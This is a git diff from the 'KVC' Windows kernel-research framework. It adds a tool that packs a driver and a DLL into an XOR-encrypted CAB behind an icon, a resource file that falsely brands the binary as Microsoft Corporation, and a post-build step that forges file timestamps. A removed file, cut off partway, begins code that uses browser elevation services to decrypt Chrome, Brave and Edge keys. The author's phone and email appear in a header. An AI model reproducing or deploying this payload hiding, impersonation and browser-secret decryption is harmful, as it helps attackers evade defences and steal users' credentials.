// Read INI configuration
Result<Config> read_config(const std::string& config_path) {
auto file_result = read_file_winapi(config_path);
if (!file_result) {
return std::unexpected(file_result.error());
}
Config config;
std::string content(file_result->begin(), file_result->end());
std::istringstream stream(content);
std::string line;
std::string current_section;
while (std::getline(stream, line)) {
line = trim(line);
if (line.empty() || line[0] == '#' || line[0] == ';') {
continue;
}
// Section header
if (line.starts_with('[') && line.ends_with(']')) {
current_section = line.substr(1, line.length() - 2);
continue;
}
// Key=Value pair
size_t pos = line.find('=');
if (pos != std::string::npos) {
std::string key = trim(line.substr(0, pos));
std::string value = trim(line.substr(pos + 1));
if (key == "DriverFile") {
config.driver_file = value;
} else if (key == "DllFile") {
config.dll_file = value;
} else if (key == "IconFile") {
config.icon_file = value;
} else if (key == "OutputFile") {
config.output_file = value;
}
}
}
// Validate config
if (config.driver_file.empty() || config.dll_file.empty() ||
config.icon_file.empty() || config.output_file.empty()) {
return std::unexpected("Incomplete configuration in INI file");
}
return config;
}
#ifdef _WIN32
// Cabinet API callback structures
struct CabContext {
std::string input_file;
std::string output_file;
UINT temp_file_counter = 0;
};
// FCI callbacks
FNFCIALLOC(fci_alloc) {
return malloc(cb);
}
FNFCIFREE(fci_free) {
free(memory);
}
FNFCIOPEN(fci_open) {
int flags = 0;
if (oflag & _O_RDWR) flags = GENERIC_READ | GENERIC_WRITE;
else if (oflag & _O_WRONLY) flags = GENERIC_WRITE;
else flags = GENERIC_READ;
DWORD creation = OPEN_EXISTING;
if (oflag & _O_CREAT) {
creation = CREATE_ALWAYS;
}
HANDLE handle = CreateFileA(
pszFile,
flags,
FILE_SHARE_READ,
nullptr,
creation,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
return (INT_PTR)handle;
}
FNFCIREAD(fci_read) {
DWORD bytesRead = 0;
if (!ReadFile((HANDLE)hf, memory, cb, &bytesRead, nullptr)) {
return -1;
}
return bytesRead;
}
FNFCIWRITE(fci_write) {
DWORD bytesWritten = 0;
if (!WriteFile((HANDLE)hf, memory, cb, &bytesWritten, nullptr)) {
return -1;
}
return bytesWritten;
}
FNFCICLOSE(fci_close) {
CloseHandle((HANDLE)hf);
return 0;
}
FNFCISEEK(fci_seek) {
return SetFilePointer((HANDLE)hf, dist, nullptr, seektype);
}
FNFCIDELETE(fci_delete) {
DeleteFileA(pszFile);
return 0;
}
FNFCIGETTEMPFILE(fci_get_temp_file) {
CabContext* ctx = static_cast<CabContext*>(pv);
snprintf(pszTempName, cbTempName, "temp_cab_%u.tmp", ctx->temp_file_counter++);
return TRUE;
}
FNFCIGETNEXTCABINET(fci_get_next_cabinet) {
return TRUE;
}
FNFCIFILEPLACED(fci_file_placed) {
return 0;
}
FNFCISTATUS(fci_status) {
return 0;
}
FNFCIGETOPENINFO(fci_get_open_info) {
WIN32_FIND_DATAA findData;
HANDLE findHandle = FindFirstFileA(pszName, &findData);
if (findHandle == INVALID_HANDLE_VALUE) {
return -1;
}
FindClose(findHandle);
FILETIME ftLocal;
FileTimeToLocalFileTime(&findData.ftLastWriteTime, &ftLocal);
FileTimeToDosDateTime(&ftLocal, pdate, ptime);
*pattribs = findData.dwFileAttributes &
(FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN |
FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_ARCHIVE);
HANDLE handle = CreateFileA(
pszName,
GENERIC_READ,
FILE_SHARE_READ,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
if (handle == INVALID_HANDLE_VALUE) {
return -1;
}
return (INT_PTR)handle;
}
// Create CAB file
ResultVoid create_cab_file(const std::string& input_file, const std::string& output_file) {
CabContext context;
context.input_file = input_file;
context.output_file = output_file;
ERF erf = {};
CCAB ccab = {};
// Setup cabinet parameters
ccab.cb = 0x7FFFFFFF; // Max cabinet size
ccab.cbFolderThresh = 0x7FFFFFFF;
ccab.cbReserveCFHeader = 0;
ccab.cbReserveCFFolder = 0;
ccab.cbReserveCFData = 0;
ccab.iCab = 1;
ccab.iDisk = 0;
ccab.setID = 0;
strncpy_s(ccab.szCab, output_file.c_str(), _TRUNCATE);
strcpy_s(ccab.szCabPath, "");
// Create FCI context
HFCI hfci = FCICreate(
&erf,
fci_file_placed,
fci_alloc,
fci_free,
fci_open,
fci_read,
fci_write,
fci_close,
fci_seek,
fci_delete,
fci_get_temp_file,
&ccab,
&context
);
if (!hfci) {
return std::unexpected("Failed to create FCI context");
}
// Add file to cabinet with LZX compression
BOOL result = FCIAddFile(
hfci,
const_cast<char*>(input_file.c_str()),
const_cast<char*>(fs::path(input_file).filename().string().c_str()),
FALSE,
fci_get_next_cabinet,
fci_status,
fci_get_open_info,
tcompTYPE_LZX | tcompLZX_WINDOW_HI
);
if (!result) {
FCIDestroy(hfci);
return std::unexpected("Failed to add file to cabinet");
}
// Flush and close cabinet
result = FCIFlushCabinet(hfci, FALSE, fci_get_next_cabinet, fci_status);
FCIDestroy(hfci);
if (!result) {
return std::unexpected("Failed to flush cabinet");
}
return {};
}
#endif
// Delete file using WinAPI
bool delete_file_winapi(const std::string& filename) {
std::wstring wide_filename;
int size = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, nullptr, 0);
if (size > 0) {
wide_filename.resize(size);
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, wide_filename.data(), size);
}
return DeleteFileW(wide_filename.c_str());
}
// Main packaging function
ResultVoid package_files(const Config& config) {
std::cout << "\n";
{
ColorGuard cyan(Color::Cyan);
std::cout << "=== FILE PACKAGING SCRIPT ===\n";
}
{
ColorGuard green(Color::Green);
std::cout << "Starting packaging process...\n";
}
// Step 0: Display configuration
std::cout << "\n";
{
ColorGuard yellow(Color::Yellow);
std::cout << "Step 0: Configuration loaded\n";
}
std::cout << " - Driver: " << config.driver_file << "\n";
std::cout << " - DLL: " << config.dll_file << "\n";
std::cout << " - Icon: " << config.icon_file << "\n";
std::cout << " - Output: " << config.output_file << "\n";
// Step 1: Verify input files using WinAPI
std::cout << "\n";
{
ColorGuard yellow(Color::Yellow);
std::cout << "Step 1: Verifying input files...\n";
}
std::vector<std::string> required_files = {
config.driver_file,
config.dll_file,
config.icon_file
};
for (const auto& file : required_files) {
if (!file_exists_winapi(file)) {
ColorGuard red(Color::Red);
std::cout << " X File not found: " << file << "\n";
// Debug info
std::cout << " Debug bytes: ";
for (char c : file) {
printf("%02X ", (unsigned char)c);
}
std::cout << "\n";
return std::unexpected("ABORTING: Required file missing: " + file);
}
auto size_result = get_file_size_winapi(file);
if (!size_result) {
ColorGuard red(Color::Red);
std::cout << " X Cannot get size for: " << file << " - " << size_result.error() << "\n";
return std::unexpected(size_result.error());
}
ColorGuard green(Color::Green);
std::cout << " + Found: " << file << " (" << format_size_kb(size_result.value()) << ")\n";
}
// Step 2: Concatenate PE files
std::cout << "\n";
{
ColorGuard yellow(Color::Yellow);
std::cout << "Step 2: Concatenating PE files...\n";
}
auto driver_result = read_file_winapi(config.driver_file);
if (!driver_result) {
ColorGuard red(Color::Red);
std::cout << " X Failed to read driver file: " << driver_result.error() << "\n";
return std::unexpected(driver_result.error());
}
auto dll_result = read_file_winapi(config.dll_file);
if (!dll_result) {
ColorGuard red(Color::Red);
std::cout << " X Failed to read DLL file: " << dll_result.error() << "\n";
return std::unexpected(dll_result.error());
}
std::vector<uint8_t> concatenated_data;
concatenated_data.reserve(driver_result->size() + dll_result->size());
concatenated_data.insert(concatenated_data.end(), driver_result->begin(), driver_result->end());
concatenated_data.insert(concatenated_data.end(), dll_result->begin(), dll_result->end());
auto write_result = write_file_winapi(std::string(TEMP_EVTX), concatenated_data);
if (!write_result) {
ColorGuard red(Color::Red);
std::cout << " X Failed to create concatenated file: " << write_result.error() << "\n";
return std::unexpected(write_result.error());
}
{
ColorGuard green(Color::Green);
std::cout << " + Created: " << TEMP_EVTX << " ("
<< format_size_kb(concatenated_data.size()) << ")\n";
}
// Step 3: Compress with CAB
std::cout << "\n";
{
ColorGuard yellow(Color::Yellow);
std::cout << "Step 3: Compressing with CAB...\n";
}
#ifdef _WIN32
auto cab_result = create_cab_file(std::string(TEMP_EVTX), std::string(TEMP_CAB));
if (!cab_result) {
ColorGuard red(Color::Red);
std::cout << " X CAB compression failed: " << cab_result.error() << "\n";
return std::unexpected(cab_result.error());
}
auto cab_size_result = get_file_size_winapi(std::string(TEMP_CAB));
if (!cab_size_result) {
ColorGuard red(Color::Red);
std::cout << " X Cannot get CAB file size: " << cab_size_result.error() << "\n";
return std::unexpected(cab_size_result.error());
}
{
ColorGuard green(Color::Green);
std::cout << " + Created: " << TEMP_CAB << " (" << format_size_kb(cab_size_result.value()) << ")\n";
}
#else
ColorGuard red(Color::Red);
std::cout << " X CAB compression is only supported on Windows\n";
return std::unexpected("CAB compression requires Windows Cabinet API");
#endif
// Step 4: XOR encrypt the CAB file
std::cout << "\n";
{
ColorGuard yellow(Color::Yellow);
std::cout << "Step 4: XOR encrypting CAB file...\n";
}
auto cab_data_result = read_file_winapi(std::string(TEMP_CAB));
if (!cab_data_result) {
ColorGuard red(Color::Red);
std::cout << " X Failed to read CAB file: " << cab_data_result.error() << "\n";
return std::unexpected(cab_data_result.error());
}
std::vector<uint8_t> encrypted_cab = std::move(cab_data_result.value());
xor_data(encrypted_cab, XOR_KEY);
{
ColorGuard green(Color::Green);
std::cout << " + CAB file encrypted (" << encrypted_cab.size() << " bytes)\n";
}
// Step 5: Create final package with icon
std::cout << "\n";
{
ColorGuard yellow(Color::Yellow);
std::cout << "Step 5: Creating final package with icon...\n";
}
auto icon_result = read_file_winapi(config.icon_file);
if (!icon_result) {
ColorGuard red(Color::Red);
std::cout << " X Failed to read icon file: " << icon_result.error() << "\n";
return std::unexpected(icon_result.error());
}
std::vector<uint8_t> final_package;
final_package.reserve(icon_result->size() + encrypted_cab.size());
final_package.insert(final_package.end(), icon_result->begin(), icon_result->end());
final_package.insert(final_package.end(), encrypted_cab.begin(), encrypted_cab.end());
auto final_write_result = write_file_winapi(config.output_file, final_package);
if (!final_write_result) {
ColorGuard red(Color::Red);
std::cout << " X Failed to create final package: " << final_write_result.error() << "\n";
return std::unexpected(final_write_result.error());
}
{
ColorGuard green(Color::Green);
std::cout << " + Final package created: " << config.output_file
<< " (" << format_size_kb(final_package.size()) << ")\n";
}
// Step 6: Cleanup temporary files
std::cout << "\n";
{
ColorGuard yellow(Color::Yellow);
std::cout << "Step 6: Cleaning up temporary files...\n";
}
std::vector<std::string_view> temp_files = { TEMP_EVTX, TEMP_CAB };
for (const auto& temp_file : temp_files) {
if (file_exists_winapi(std::string(temp_file))) {
if (delete_file_winapi(std::string(temp_file))) {
ColorGuard green(Color::Green);
std::cout << " + Removed: " << temp_file << "\n";
} else {
ColorGuard yellow(Color::Yellow);
std::cout << " ! Warning: Could not remove " << temp_file << "\n";
}
}
}
// Final summary
std::cout << "\n";
{
ColorGuard cyan(Color::Cyan);
std::cout << "=== PACKAGING COMPLETED SUCCESSFULLY ===\n";
}
std::cout << "Output file: " << config.output_file << "\n";
std::cout << "Total size: " << format_size_kb(final_package.size()) << "\n";
std::cout << "Structure: [" << icon_result->size() << "-byte icon] + [XOR-encrypted CAB]\n";
std::cout << "Breakdown:\n";
std::cout << " - Icon: " << icon_result->size() << " bytes\n";
std::cout << " - Encrypted CAB: " << encrypted_cab.size() << " bytes\n";
{
ColorGuard green(Color::Green);
std::cout << "\nThe file is ready for embedding as a resource!\n";
}
return {};
}
int main(int argc, char* argv[]) {
// Set console to UTF-8 mode
SetConsoleOutputCP(CP_UTF8);
SetConsoleCP(CP_UTF8);
std::string config_file = std::string(DEFAULT_CONFIG);
if (argc > 1) {
config_file = argv[1];
}
std::cout << "Reading configuration from: " << config_file << "\n";
auto config_result = read_config(config_file);
if (!config_result) {
ColorGuard red(Color::Red);
std::cerr << "Error: " << config_result.error() << "\n";
return 1;
}
auto result = package_files(config_result.value());
if (!result) {
ColorGuard red(Color::Red);
std::cerr << "\nError: " << result.error() << "\n";
return 1;
}
return 0;
}

22
kvc/implementer.filters Normal file
View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="implementer.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

77
kvc/implementer.rc Normal file
View File

@@ -0,0 +1,77 @@
// Microsoft Visual C++ generated resource script.
// implementer.exe Resource File - Microsoft Corporation branding
//
#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// English (United States) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
IDI_ICON1 ICON "ICON\\kvc.ico"
/////////////////////////////////////////////////////////////////////////////
//
// Version Information - Microsoft Corporation branding
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 10,0,26200,8460
PRODUCTVERSION 10,0,26200,8460
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
FILEFLAGS 0x1L
#else
FILEFLAGS 0x0L
#endif
FILEOS 0x40004L
FILETYPE 0x1L // VFT_APP - Application file type
FILESUBTYPE 0x0L
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904b0"
BEGIN
VALUE "CompanyName", "Microsoft Corporation"
VALUE "FileDescription", "Windows System Utility"
VALUE "FileVersion", "10.0.26200.8460"
VALUE "InternalName", "implementer.exe"
VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved."
VALUE "OriginalFilename", "implementer.exe"
VALUE "ProductName", "Microsoft® Windows® Operating System"
VALUE "ProductVersion", "10.0.26200.8460"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x409, 1200
END
END
#endif // English (United States) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED

84
kvc/implementer.vcxproj Normal file
View File

@@ -0,0 +1,84 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{376BAFB6-0DB9-4BFF-903A-779B4CE72CBC}</ProjectGuid>
<RootNamespace>implementer</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings" />
<ImportGroup Label="Shared" />
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
<TargetName>implementer</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="implementer.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="implementer.rc" />
</ItemGroup>
<ItemGroup>
<Image Include="ICON\kvc.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets" />
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -1,84 +0,0 @@
$introText = @"
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
"@
# Get all .cpp files in current directory
$cppFiles = Get-ChildItem -Path . -Filter "*.cpp"
# Count files with and without intro
$filesWithIntro = 0
$filesWithoutIntro = 0
foreach ($file in $cppFiles) {
$content = Get-Content -Raw $file.FullName
$introPattern = [regex]::Escape($introText.Trim())
if ($content -match $introPattern) {
$filesWithIntro++
}
else {
$filesWithoutIntro++
}
}
# Display summary
Write-Host "Found intro in $filesWithIntro files" -ForegroundColor Yellow
if ($filesWithIntro -gt 0) {
$choice = Read-Host "Remove intro from all these files in batch? (Y/N)"
if ($choice -eq 'Y' -or $choice -eq 'y') {
foreach ($file in $cppFiles) {
$content = Get-Content -Raw $file.FullName
$introPattern = [regex]::Escape($introText.Trim())
if ($content -match $introPattern) {
$newContent = $content -replace $introPattern, ""
$newContent = $newContent.TrimStart()
Set-Content -Path $file.FullName -Value $newContent -NoNewline
Write-Host "Removed intro from $($file.Name)" -ForegroundColor Green
}
}
}
}
Write-Host "Intro not found in $filesWithoutIntro files" -ForegroundColor Yellow
if ($filesWithoutIntro -gt 0) {
$choice = Read-Host "Add intro to all these files in batch? (Y/N)"
if ($choice -eq 'Y' -or $choice -eq 'y') {
foreach ($file in $cppFiles) {
$content = Get-Content -Raw $file.FullName
$introPattern = [regex]::Escape($introText.Trim())
if (-not ($content -match $introPattern)) {
$newContent = $introText + "`r`n" + $content
Set-Content -Path $file.FullName -Value $newContent -NoNewline
Write-Host "Added intro to $($file.Name)" -ForegroundColor Green
}
}
}
}
Write-Host "Batch operation completed" -ForegroundColor Cyan

View File

@@ -1,933 +0,0 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// kvc_crypt.cpp
#include <Windows.h>
#include <ShlObj.h>
#include <wrl/client.h>
#include <bcrypt.h>
#include <Wincrypt.h>
#include <fstream>
#include <sstream>
#include <iomanip>
#include <vector>
#include <tlhelp32.h>
#include <string>
#include <algorithm>
#include <memory>
#include <optional>
#include <stdexcept>
#include <filesystem>
#include <unordered_map>
#include "SelfLoader.h"
#include "winsqlite3.h"
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
namespace fs = std::filesystem;
// Simplified string utilities for essential conversions only
namespace StringUtils
{
// Convert filesystem path to API-compatible string
inline std::string path_to_string(const fs::path& path)
{
return path.string();
}
}
// COM Interface Protection Levels for Browser Elevation Services
enum class ProtectionLevel
{
None = 0,
PathValidationOld = 1,
PathValidation = 2,
Max = 3
};
// Chrome/Brave Base Elevator Interface - COM interop for browser security services
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IOriginalBaseElevator : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
// Edge Elevator Base Interface - placeholder methods for compatibility
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
IEdgeElevatorBase_Placeholder : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
};
// Edge Intermediate Elevator Interface - extends base functionality
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
// Edge Final Elevator Interface - complete implementation
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
namespace SecurityComponents
{
class PipeLogger;
namespace Utils
{
// Get Local AppData folder path with comprehensive error handling
fs::path GetLocalAppDataPath()
{
PWSTR path = nullptr;
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
{
fs::path result = path;
CoTaskMemFree(path);
return result;
}
throw std::runtime_error("Failed to get Local AppData path.");
}
// Base64 decode utility for processing encrypted keys
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
{
DWORD size = 0;
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
return std::nullopt;
std::vector<uint8_t> data(size);
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
return std::nullopt;
return data;
}
// Convert binary data to hex string for diagnostic logging
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
{
std::ostringstream oss;
oss << std::hex << std::setfill('0');
for (uint8_t byte : bytes)
oss << std::setw(2) << static_cast<int>(byte);
return oss.str();
}
// Escape JSON strings for safe output serialization
std::string EscapeJson(const std::string& s)
{
std::ostringstream o;
for (char c : s)
{
switch (c)
{
case '"': o << "\\\""; break;
case '\\': o << "\\\\"; break;
case '\b': o << "\\b"; break;
case '\f': o << "\\f"; break;
case '\n': o << "\\n"; break;
case '\r': o << "\\r"; break;
case '\t': o << "\\t"; break;
default:
if ('\x00' <= c && c <= '\x1f')
{
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
}
else
{
o << c;
}
}
}
return o.str();
}
}
namespace Browser
{
// Browser configuration structure for multi-platform support
struct Config
{
std::string name;
std::wstring processName;
CLSID clsid;
IID iid;
fs::path userDataSubPath;
};
// Get comprehensive browser configurations mapping
const std::unordered_map<std::string, Config>& GetConfigs()
{
static const std::unordered_map<std::string, Config> browser_configs = {
{"chrome", {"Chrome", L"chrome.exe",
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
fs::path("Google") / "Chrome" / "User Data"}},
{"brave", {"Brave", L"brave.exe",
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
{"edge", {"Edge", L"msedge.exe",
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
fs::path("Microsoft") / "Edge" / "User Data"}}
};
return browser_configs;
}
// Detect current browser process configuration from runtime environment
Config GetConfigForCurrentProcess()
{
char exePath[MAX_PATH] = {0};
GetModuleFileNameA(NULL, exePath, MAX_PATH);
std::string processName = fs::path(exePath).filename().string();
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
const auto& configs = GetConfigs();
if (processName == "chrome.exe") return configs.at("chrome");
if (processName == "brave.exe") return configs.at("brave");
if (processName == "msedge.exe") return configs.at("edge");
throw std::runtime_error("Unsupported host process: " + processName);
}
}
namespace Crypto
{
// Cryptographic constants for AES-GCM decryption operations
constexpr size_t KEY_SIZE = 32;
constexpr size_t GCM_IV_LENGTH = 12;
constexpr size_t GCM_TAG_LENGTH = 16;
const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
// Support for multiple encryption format versions
const std::string V10_PREFIX = "v10";
const std::string V20_PREFIX = "v20";
// Simple RAII wrapper for BCrypt algorithm handle
class BCryptAlgorithm
{
public:
BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); }
~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); }
operator BCRYPT_ALG_HANDLE() const { return handle; }
